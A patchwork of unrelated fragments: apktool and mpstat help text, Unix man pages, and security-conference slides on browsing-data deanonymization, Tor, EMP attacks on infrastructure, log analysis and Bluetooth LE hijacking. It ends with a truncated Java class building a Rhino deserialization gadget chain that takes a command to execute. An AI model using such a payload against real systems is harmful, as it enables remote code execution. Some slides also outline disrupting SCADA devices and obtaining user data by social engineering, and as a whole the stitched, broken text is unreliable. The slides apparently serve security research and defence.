-b, --no-debug-info Baksmali -- don't write out debug info (.local, .param, .line, etc.) 反编译不输出调试信息 -f, --force Force delete destination directory. 强制覆盖已存在文件目录 -t <tag>, --frame-tag <tag> Try to use framework files tagged by <tag>. 使用framework文件 --frame-path <dir> Use the specified directory for framework files framework文件目录 --keep-broken-res Use if there was an error and some resources were dropped, e.g.: "Invalid config flags detected. Dropping resources", but you want to decode them anyway, even with errors. You will have to fix them manually before building. 当出现错误或者资源文件缺失的时候使用该参数如提示"Invalid config flags detected. Dropping resources"但是你仍然想继续解包这样的话在进行打包之前需要手动修复那些错误的文件才能正常进行打包 b[uild] [OPTS] [<app_path>] [<out_file>] Build an apk fr


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mpstat === 显示各个可用CPU的状态 ## 补充说明 **mpstat命令** 主要用于多CPU环境下它显示各个可用CPU的状态信息这些信息存放在`/proc/stat`文件中在多CPUs系统里其不但能查看所有CPU的平均状况信息而且能够查看特定CPU的信息 ### 语法 ```shell mpstat [选项] [<间隔时间> [<次数>]] ``` ### 选项 ```shell -P指定CPU编号 ``` ### 参数 - 间隔时间每次报告的间隔时间秒 - 次数显示报告的次数 ### 表头含义 - %user表示处理用户进程所使用CPU的百分比 - %nice表示在用户级别处理经nice降级的程序所使用CPU的百分比 - %system表示内核进程使用的CPU百分比 - %iowait表示等待进行I/O所占用CPU时间百分比 - %irq表示用于处理系统中断的CPU百分比 - %soft表示用于处理软件中断的CPU百分比 - %steal在管理程序为另一个虚拟处理器服务时显示虚拟的一个或多个CPU在非自愿等待中花费的时间的百分比 - %guest表示一个或多个CPU在运行虚拟处理器时所花费的时间百分比 - %gnice表示一个或多个CPU在运行经nice降级后的虚拟处理器时所花费的时间百分比 - %idleCPU的空闲时间百分比 ### 实例 当mpstat不带参数时输出为从系统启动以来的平均值 ```shell mpstat Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/14/2022 _x86_64_ (4 CPU) 04:28:36 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 04:28:36 PM all 0.03 0.00 0.07 0.00 0.00 0.01 0.00 0.00 0.00 99.89 ``` **每2秒产生了全部处理器的统计数据报告** 下面的命令可以每2秒产生全部处理器的统计数据报告一共产生三个interval的信息最后再给出这三个interval的平均信息默认时输出是按照CPU号排序第一个行给出了2秒内所有处理器使用情况接下来每行对应一个处理器使用情况 ```shell mpstat -P ALL 2 3 Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) 09:32:43 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:32:45 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:32:47 AM all 0.00 0.00 0.12 0.00 0.00 0.12 0.00 0.00 0.00 99.75 09:32:47 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:47 AM 1 0.00 0.00 0.50 0.00 0.00 0.00 0.00 0.00 0.00 99.50 09:32:47 AM 2 0.00 0.00 0.00 0.00 0.00 0.50 0.00 0.00 0.00 99.50 09:32:47 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:47 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:32:49 AM all 0.00


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Dark Data Svea Eckert  Andreas Dewes Who we are Svea Eckert Journalist (NDR/ ARD) @sveckert @japh44 Andreas Dewes Data Scientist (DCSO & 7scientists) Why we are here US Senate voted to eliminate broadband privacy rules that would have required ISPs to get consumers' explicit consent before selling or sharing Web browsing data (...) 3/23/2017 https://arstechnica.com What does that mean You can see everything  S*#t! ARD, Panorama, 03.11.2016 ARD, Panorama, 03.11.2016 I dont know, why I was searching for Tebonin at that time. This is really bad to see something like this  especially if it is connected with my own name. Employee of Helge Braun, CDU  Assistant Secretary of the German Chancellor How we did it  the hacking part Social engineering Social engineering What did we get? Our data set 3.000.000.000 9.000.000 3.000.000 URLs (insufficiently anonymized) Domains Users https://www.google.com/?q=xxxx... [user id] [timestamp]  30 days of data per user Statistical Deanonymization https://www.cs.cornell.edu/~shmat/shmat_oak08netflix.pdf How does it work? ... anonymized user data public / external personal data User 1 User 2 User N Identifier (e.g. name) e.g. user 1 visited domain X Lets try this! ... ... ... ... ... Domains Users => sparsely populated matrix with 9.000.000 x 1.000.000 entries Our Algorithm  Generate user/domain matrix M  Generate vector v with information about visited domains  Multiply Mv  Look for best match M = (...) w = Mv i = argmax (w) How well does this work? 15.561 1.114.408 www.gog.com kundencenter.telekom.de banking.sparda.de 11 367 1 handelsblatt.com But how can public information be extracted? Two examples Twitter  We use the Twitter API to download tweets from the relevant time period (one month)  We extract URLs from the tweets and generate the associated domain by following the links  We feed the domain information into our algorithm users (arbitrarily sorted) number of matching domains Visited Websites github.com (2.584.681) www.change.org


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Technical changes since the last Tor talk Nick Mathewson The Tor Project <nickm@torproject.org> Defcon XV Aug 4, 2007  Tor was working, usable, and seemed pretty secure. (v 0.0.7.2)  Pretty small network.  No GUIhard to use.  We got a couple of Defcon talks! Marty! We've got to go back to the future2004!  Hacking on Tor.(Latest is 0.2.0.4-alpha)  Security: adding features/ﬁxing security bugs.  Scalability: adding capacity is hard.  Scalability: using capacity is hard.  Usability: adding GUIs, ﬁxing bugs.  Integration: working nice with other apps is hard.  Lots more: See the changelog.  Growing the network: ~200kuser, ~1kserver. What we've been up to since then. Outline  Prelude: brief, fast introduction to Tor  Directories and server discovery changes: More secure, more scalable!  Path generation changes: More efﬁcient, less ﬁlling!  Circuit-building protocol changes: Oops. Crypto is hard.  Some fun new tools and features: What do you mean, I need to edit a ﬁle? Intro anonymity: anonymity networks hide users among users. Alice2 Bob1 Bob2 Alice1 Alice3 Network Intro Tor:There are a bunch of servers, connected via TLS (ssl). S S S S S S S S S Intro Tor:clients build circuits through a network of decrypting relays. 1. S S S S S S S S S Alice2 2. 3. Alice1 Intro Tor:circuits are used to relay multiple TCP streams. 1. S S S S S S S S S Alice2 2. 3. Bob1 Bob2 Alice1 4. See also: PipeNet, Onion Routing 6. 5. A hostile ﬁrst hop can tell Alice is talking, but not to whom. S S S S S S S S S Alice2 Bob1 Bob2 Alice1 A hostile last hop can tell somebody is talking to Bob, but not who. S S S S S S S S S Alice2 Bob1 Bob2 Alice1 But: two hostile hops can correlate trafﬁc patterns and link Alice to Bob. S S S S S S S S S Alice2 Bob1 Bob2 Alice1 No obvious ﬁx that isnt extra-slow. I. Directories and server discovery  Every client must know every server.  (If you just ask a server for a list of neighbors, it can trivially lie.)  All clients must know the same servers.  Servers should


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'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: tclvars.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbCla


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.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "REINDEX" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME REINDEX \- 重建索引 .SH SYNOPSIS .sp .nf REINDEX { DATABASE | TABLE | INDEX } \fIname\fR [ FORCE ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBREINDEX\fR 基于存储在表上的数据重建索引 替换旧的索引拷贝使用 REINDEX 有两个主要原因 .TP 0.2i \(bu 索引崩溃并且不再包含有效的数据尽管理论上这是不可能发生的 但实际上索引会因为软件毛病或者硬件问题而崩溃REINDEX 提供了一个恢复方法 .TP 0.2i \(bu 要处理的索引包含大量无用的索引页未被回收在某些情况下 这个问题会发生 在 PostgreSQL 里面的 B-树索引上REINDEX 提供了一个缩小索引空间消耗的方 法它采用的方法是写一个不带无用索引页的新版本的索引 参阅Section 21.2 ``Routine Indexing'' 获取更多信息 .PP .SH "PARAMETERS 参数" .TP \fBDATABASE\fR 恢复一个声明了的数据库的所有系统索引 不包含用户表上的索引同样除非在独立运行模式下也会忽略在共享系统表上的索引见下文 .TP \fBTABLE\fR 重新建立声明的表的所有索引如果表有个从属的"TOAST"表那么这个表也会重新索引 .TP \fBINDEX\fR 重新建立声明了的索引 .TP \fB\fIname\fB\fR 要重建的所声明的数据库/表/索引的名称 表和索引名可以有模式修饰 .TP \fBFORCE\fR 这是一个废弃的选项如果声明会被忽略 .SH "NOTES 注意" .PP 如果你怀疑一个用户表上的索引崩溃了你可以简单地重建该索引 或者该表上地所有索引使用 REINDEX INDEX 或者 REINDEX TABLE 另外一个对付用户表索引崩溃的方法时删除然后重建它如果你还要在表上进行一些维护动作 可能这么做更好一些REINDEX 在表上请求排他锁而 CREATE INDEX 只是锁住写动作 而不会锁住读 .PP 如果你从一个崩溃的系统表索引上恢复事情会更棘手一些 这种情况下系统必须不能使用任何有疑问的索引 实际上在这种情况下你可能发现服务器进程在启动之后马上就崩溃了 因为依赖于崩溃了的索引要想安全恢复服务器必须带着 -P 选项启动 它禁止服务器在查找系统表的时候使用索引 .PP 这么做个一个办法事停止 postmaster 然后带着 -P 命令行选项启动一个独立的 PostgreSQL 服务器 然后根据你希望恢复的程度可以发出 REINDEX DATABASEREINDEX TABLE或者 REINDEX INDEX 如果还有怀疑使用 REINDEX DATABASE 选择重新构造数据库中全部的系统索引 然后退出独立服务器会话并且重启普通的服务器参阅 \fBpostgres\fR(1) 手册页获取有关如何与独立服务器交互的信息 .PP 另外一个普通的会话可以在其命令行选项里带着 -P 启动 这么做的方法因不同的客户端而异但是在所有基于 libpq 的客户端上 我们都可以通过在启动客户端之前设置 PGOPTIONS 环境变量为 -P 来实现 请注意尽管这个方法并不要求锁住其它客户端但是禁止其它客户端连接受损的数据库 直到完成修补应该事一个明智的选择 .PP 如果怀疑任何共享的系统表的索引损坏(pg_database pg_group或者 pg_shadow 那么必须用独立服务器的方式来修复它REINDEX 不能在多用户环境下处理共享系统表 .PP 除了共享系统表之外的所有索引REINDEX 是抗崩溃并且是事务安全的 REINDEX 对于共享的索引而言不是抗崩溃的这就是为什么不允许在正常操作中这么使用的原因 如果在重新对一个共享表进行索引的时候发生了崩溃那么在纠正问题之前就不可能重新启动普通的服务器 一个建立了一部分的共享索引的典型症状是"index is not a btree/索引不是 btree 索引"错误 .PP 在 PostgreSQL 7.4 之前REINDEX TABLE 并不自动处理 TOAST 表因此这些表必须用独立的命令进行处理这么做仍然可以但是已经多余了 .SH "EXAMPLES 例子" .PP 重建表 mytable 上的索引 .sp .nf REINDEX TABLE my_t


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INJECTING ELECTROMAGNETIC PULSE INTO DIGITAL DEVICES  HISTORY OF EMP  STARFISH  MARX GENERATOR  PULSE PARAMETERS  DUMP DEVICES  SMART DEVICES  BYZANTINE FAULTS  SCADA  HOSPITALS  EMP IS MICROPROCESSOR AND OS  INDEPDENTENT  GREEN REVOLUTION  FLY BY WIRE  TWA 800  EMP DEVICE IN A CAMERA  ½*C*V*V = POWER IN JOULSE  POWER GRID  POWER QUALITY  TESLA COIL HISTORY OF EMP  COMPTON EFFECT(H BOMB)  TESLA COIL  MARX GENERATOR  EXPLOSIVE DEVICE ARMATURE H BOMB STARFISH  1962 US EXPLODED AN H BOOM 800 MILES FROM OAHU HAWAII  30 STRINGS OF STREET LIGHTS WENT OUT  300 STREET LIGHTS IN ALL THE MARX GENERATOR  INVENTED IN 1924  NOVEL CONCEPT TO CREATE HIGH VOLTAGE  CAPACITORS ARE CHARGED IN PARRALL  CAPACITORS DISCHARGE IN SERIES PULSE INJECTING  ELECTRICAL LINES  TELEPHONE  CABLE  COAXIAL  NETWORK  GROUNDING STRAP DUMB DIGITAL DEVICES  SIMPLE DIGITAL DEVICES  THEY KEEP ON WORKING AFTER BEING PULSED  STAND ALONG SENSORS (TEMP,PRESSURE,VOLTAGE)  A TYPE OF EMP FUZZING SMART DEVICES PULSED  THEY REBOOT  THEY NEED SOME OPERATOR TO MANUALLY RESET  THEY TURN OFF CONTROLLING A NETWORK OF DEVICES  AS LONG AS YOU KEEP PULSING THEY CAN NOT BRING THE NETWORK UP  LINUX,UNIX,SUN,WINDOWS,ROUTERS FIRE WALL  THEY WILL NOT BE ABLE TO REBOOT MOORES LAW  EVERY 18 MONTHS THE NUMBER OF TRANSITORS DOUBLES THAT CAN BE PUT ON A SILCON WAFFER  DIE SIZE DECREASES  VOLTAGE DECREASES NOT ALL EMP THE SAME DESIGNER EMP  PULSE WIDTH  PULSE RISE TIME  PULSE RATE  HARMONICS  FREQUENCY BYZANTINE FAULTS  LARGE REALTIME DISTRIBUTED SYSTEMS  BYZANETINE FAULT TOLERANCE AND RECOVERY  N IS THE NUMBER OF PROCESSES  T IS THE NUMBER OF CORUPTED PROCESSES  A SOLUTION IS ONLY POSSIBLE IF  N>3T+1 SUPERVISORY CONTROL AND DATA ACQUISITION  LARGE REALTIME DISTRIBUTED SYSTEMS  CONTROL,CHEMICAL,WATER,OIL, POWER SYSTEMS  LARGE MIX OF SMART AND DUMB DEVICES  FUZZING OF DUMB DEVICES GOING GREEN  GREEN BUSES SOLID STATE ENGINER CONTROLS  GREEN CARS ROBOTIC TRAIN  L TRAIN NYC  DC METRO TRAIN  THIRD RAIL SHOE ARC FLY BY WIRE  BOEING THE P


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日志分析之昨天今天与明天 关于我  安全爱好者  安全防御研究  2012-2015 当当网 网信金融  2015-今 万达电商 日志的价值 我们遇到的日志 议程  昨天  今天  明天 昨天  那些年还是iis的天下  0day?  注入我喜欢 :) 向当年的软件作者致敬  awk  grep  wc  uniq  sort  统计top n  关键字过滤 确定入侵时间 状态码过滤 类型过滤 IP分析 确定入侵文件 IP访问 确定时间 状态码过滤 Johnny Appleseed 日志展示界面可视化 今天  文件上传  平行权限  LFI  命令执行  Nday 工具 E.L.K FLUME FLUTEND  频率分析  关联分析 频率分析 基线与伐值 数据值  IP 访问次数  url 被访问次数 url深度 200比例 反问离散度 url 参数 关联分析 IDS 日志 FW 扫描器 关联分析 IP 关联  Event E1  Event E2  E2.Srcip==E1.Dstip NIDS 发现有webshell连接同时HIDS 发现文件变更操作 状态关联  Event E1  Event E2  E2.somestatus is success (or something)  基于漏洞关联  基于特征关联  基于异常关联 了解攻击者  什么时间  访问了哪些站点  做了什么  是否成功  水平如何  采用了什么技术 代理 扫描器 手工自动  更加强力的工具 来自唯品会孟诚  入侵不一定在时间上是连续的  日志的存储  特征值更新 明天  APT  0Day  未知威胁 关联分析优缺点  优点准确误报率低  缺点完全依靠经验 创建规则 发现攻击 建立模型 分析攻击  弥补关联分析的不足  感知异常  将更多的精力用在更重要的地方 URL特性 访问频率 GEOIP/PROX Y 访问内容 .. 日志 结果 U R L 特 性 访 问 频 率 G E O IP /P R O X Y 访 问 内 容  .. 日 志 结 果 U R L 特 性 访 问 频 率 G E O IP /P R O X Y 访 问 内 容  .. 日 志 结 果 U R L 特 性 访 问 频 率 G E O IP /P R O X 访 问 内 容  .. 日 志 结 果 U R L 特 性 访 问 频 率 G E O IP /P R O X 访 问 内 容  .. 日 志 结 果 URL特性 访问频率 GEOIP/PROX Y 访问内容 .. 日志 结果 机器学习  贝叶斯 来自 腾讯 江虎 机器学习  预测sql注入 机器学习  预测机器注册  SVM  K-means  HMM  决策树 格式化去噪音 获取数据 数据分析 结果 计算 回馈 Thank you ! lion_00@163.com


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YOU'D BETTER SECURE YOUR YOU'D BETTER SECURE YOUR BLE DEVICES OR WE'LL KICK BLE DEVICES OR WE'LL KICK YOUR BUTTS ! YOUR BUTTS ! @virtualabs | DEF CON 26, Aug. 12th 2018 WHO AM I ? WHO AM I ?  Head of R&D @ Econocom Digital Security  Studying Bluetooth Low Energy for 3 years  Developer & maintainer of BtleJuice  Having fun with Nordic's nRF51822  AGENDA AGENDA BLE sniﬀing 101 Improving the BLE arsenal Sniﬀing BLE connections in 2018 Introducing BtleJack, a flexible sniﬀing tool BtleJacking: a brand new attack How it works Vulnerable devices & demos Recommendations BLE SNIFFING 101 BLE SNIFFING 101 MUCH CHEAP TOOLS, MUCH CHEAP TOOLS, (NOT) WOW RESULTS (NOT) WOW RESULTS Sniﬀing existing/new connections with an Ubertooth One Sniﬀing new connections with an Adafruit's Bluefruit LE Sniﬀer Sniﬀing BLE packets with gnuradio Sniﬀs existing and new connections Does not support channel map updates Costs $120 UBERTOOTH ONE UBERTOOTH ONE Up-to-date soware (Nov. 2017) Proprietary firmware from Nordic Semiconductor Sniﬀs only new connections Costs $30 - $40 BLUEFRUIT LE SNIFFER BLUEFRUIT LE SNIFFER Sniﬀs only BLE advertisements Unable to follow any existing/new connection Latency Requires 2.4GHz compatible SDR device SOFTWARE DEFINED RADIO SOFTWARE DEFINED RADIO BLE SNIFFING 101 BLE SNIFFING 101 BLE is designed to make sniﬀing diﬀicult: 3 separate advertising channels Uses Frequency Hopping Spread Spectrum (FHSS) Master or slave can renegotiate some parameters at any time Sniﬀing BLE connections is either hard or expensive MAN IN THE MIDDLE MAN IN THE MIDDLE HOW BLE MITM WORKS HOW BLE MITM WORKS Discover the target device (advertisement data, services & characteristics) Connect to this target device, it is not advertising anymore (connected state) Advertise the same device, await connections and forward data BTLEJUICE BTLEJUICE https://github.com/DigitalSecurity/btlejuice GATTACKER GATTACKER https://github.com/securing/gattacker Pros: Get rid of the 3 advertising channels issue Yo


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import Utils.Gadgets; import Utils.Reflections; import org.mozilla.javascript.*; import org.mozilla.javascript.tools.shell.Environment; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Method; import java.util.Hashtable; import java.util.Map; @SuppressWarnings("unchecked") public class Payload { public static Object getObject( String command) throws Exception { ScriptableObject dummyScope = new Environment(); Map<Object, Object> associatedValues = new Hashtable<Object, Object>(); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); Object initContextMemberBox = Reflections.createWithConstructor( Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"), new Class[] {Method.class}, new Object[] {Context.class.getMethod("enter")}); ScriptableObject initContextScriptableObject = new Environment(); Method makeSlot = ScriptableObject.class.getDeclaredMethod("getSlot", Context.class, Object.class, Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess")); makeSlot.setAccessible(true); Object enumMakeGetter = Reflections.getField(Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"), "MODIFY_GETTER_SETTER").get(null); Object slot = makeSlot.invoke(initContextScriptableObject, null, "foo", enumMakeGetter); Reflections.setFieldValue(slot, "getter", initContextMemberBox); NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", Payload.class.getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initCon